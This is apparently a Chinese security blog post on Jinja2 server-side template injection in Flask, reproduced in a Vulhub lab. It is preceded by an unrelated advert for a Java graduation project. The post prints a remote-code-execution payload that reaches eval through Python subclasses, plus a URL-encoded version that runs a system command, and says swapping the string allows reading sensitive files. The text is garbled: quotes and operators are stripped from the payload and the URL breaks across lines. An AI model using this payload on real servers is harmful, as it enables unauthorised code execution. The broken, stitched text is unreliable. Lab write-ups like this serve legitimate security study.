核心内容摘要
Java毕设项目推荐-基于SpringBoot+Vue的蔬菜种植管理系统种子管理,施肥灌溉计划管理,基于SpringBoot的蔬菜种植管理系统设计与实现【附源码+文档,调试定制服务】
SSTI漏洞概述服务端模板注入Server-Side Template InjectionSSTI是一种发生在Web应用程序中的安全漏洞攻击者能够向模板引擎注入恶意模板代码从而在服务器端执行任意代码。
Flask介绍Flask是一个流行的Python Web框架使用Jinja2作为其模板引擎。
当用户输入未经适当过滤就直接在Jinja2模板中渲染时可能会导致服务端模板注入SSTI漏洞进而可能导致远程代码执行。
Flask应用的结构
环境搭建从vulhub中拉取漏洞镜像。
https://vulhub.org/zh环境启动后访问http://your-ip:8000/即可查看到默认页面。
漏洞详情首先访问以下URL验证SSTI漏洞是否存在http://localhost:8000/?name看到结果是49要实现远程代码执行可以使用以下POC获取eval函数并执行任意Python代码{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ catch_warnings %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ {}.__class__ %} {% if eval in b.keys() %} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}替换恶意代码即可实现更多攻击只需修改最后一步eval中的字符串就能实现任意攻击行为比如读取服务器敏感文件执行其他系统命令查看服务器网络配置http://your-ip:8000/?name%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%
.popen(%22id%
.read()%
%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D免责声明本公众号分享的网络安全工具与资料仅用于合法授权的教育、研究、安全测试及防御目的。
任何使用者应确保其行为符合《网络安全法》等相关法律法规严禁用于任何非法或未授权访问。
所有工具与实验均存在一定风险请在具备相应知识或专业人员指导下于自有或已获授权的环境中测试。
因使用、传播相关内容而产生的任何直接或间接后果本公众号及作者概不承担责任。
请务必在法律允许范围内安全、负责地使用技术。
参考链接https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdfhttp://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates